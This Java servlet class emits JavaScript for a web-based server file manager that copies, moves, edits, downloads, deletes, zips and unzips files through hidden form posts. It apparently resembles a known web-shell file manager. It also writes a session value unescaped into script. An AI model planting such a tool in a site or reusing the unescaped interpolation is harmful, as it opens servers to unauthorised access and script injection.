package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

/**
 * Created by truth on 16-12-1.
 */
public class ScriptInvoker extends DefaultInvoker {
    @Override
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            out.println("<script type=\"text/javascript\">" +
                    "	String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};" +
                    "	function fso(obj) {" +
                    "		this.currentDir = '" + session.getAttribute(CURRENT_DIR) + "';" +
                    "		this.filename = obj.filename;" +
                    "		this.path = obj.path;" +
                    "		this.filetype = obj.filetype;" +
                    "	};" +
                    "	fso.prototype = {" +
                    "		copy:function(){" +
                    "			var path = prompt('Copy To : ',this.path);" +
                    "			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;" +
                    "			doPost({o:'copy',src:this.path,to:path});" +
                    "		}," +
                    "		move:function() {" +
                    "			var path =prompt('Move To : ',this.path);" +
                    "			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;" +
                    "			doPost({o:'move',src:this.path,to:path})" +
                    "		}," +
                    "		vEdit:function() {" +
                    "			doPost({o:'vEdit',filepath:this.path})" +
                    "		}," +
                    "		down:function() {" +
                    "			doPost({o:'down',path:this.path})" +
                    "		}," +
                    "		removedir:function() {" +
                    "			if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;" +
                    "			doPost({o:'removedir',dir:this.path});" +
                    "		}," +
                    "		mkdir:function() {" +
                    "			var name = prompt('Input New Directory Name','');" +
                    "			if (name == null || name.trim().length == 0)return;" +
                    "			doPost({o:'mkdir',name:name});" +
                    "		}," +
                    "		subdir:function() {" +
                    "			doPost({o:'filelist',folder:this.path})" +
                    "		}," +
                    "		parent:function() {" +
                    "			var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';" +
                    "			doPost({o:'filelist',folder:parent})" +
                    "		}," +
                    "		createFile:function() {" +
                    "			var path = prompt('Input New File Name','');" +
                    "			if (path == null || path.trim().length == 0) return;" +
                    "			doPost({o:'vCreateFile',filepath:path})" +
                    "		}," +
                    "		deleteBatch:function() {" +
                    "			if (!confirm('Are You Sure To Delete These Files?')) return;" +
                    "			var selected = new Array();" +
                    "			var inputs = document.getElementsByTagName('input');" +
                    "			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}" +
                    "			if (selected.length == 0) {alert('No File Selected');return;}" +
                    "			doPost({o:'deleteBatch',files:selected.join(',')})" +
                    "		}," +
                    "		packBatch:function() {" +
                    "			var selected = new Array();" +
                    "			var inputs = document.getElementsByTagName('input');" +
                    "			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}" +
                    "			if (selected.length == 0) {alert('No File Selected');return;}" +
                    "			var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');" +
                    "			if (savefilename == null || savefilename.trim().length == 0)return;" +
                    "			doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})" +
                    "		}," +
                    "		pack:function() {" +
                    "			var tmpName = '';" +
                    "			if (this.filename.indexOf('.') == -1) tmpName = this.filename;" +
                    "			else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));" +
                    "			tmpName += '.zip';" +
                    "			var path = this.path;" +
                    "			var name = prompt('Input Target File Name (Only Support Zip)',tmpName);" +
                    "			if (name == null || path.trim().length == 0) return;" +
                    "			doPost({o:'pack',packedfile:path,savefilename:name})" +
                    "		}," +
                    "		vEditProperty:function() {" +
                    "			var path = this.path;" +
                    "			doPost({o:'vEditProperty',filepath:path})" +
                    "		}," +
                    "		unpack:function() {" +
                    "			var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));" +
                    "			if (path == null || path.trim().length == 0) return;" +
                    "			doPost({o:'unpack',savepath:path,zipfile:this.path})" +
                    "		}" +
                    "	};" +
                    "	function doPost(obj) {" +
                    "		var form = document.forms[\"doForm\"];" +
                    "		var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}" +
                    "		for (var pro in obj)" +
                    "		{" +
                    "			var input = document.createElement(\"input\");" +
                    "			input.type = \"hidden\";" +
                    "			input.name = pro;" +
                    "			input.value = obj[pro];" +
                    "			form.appendChild(input);" +
                    "		}" +
                    "		form.submit();" +
                    "	}" +
                    "</script>");

        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}
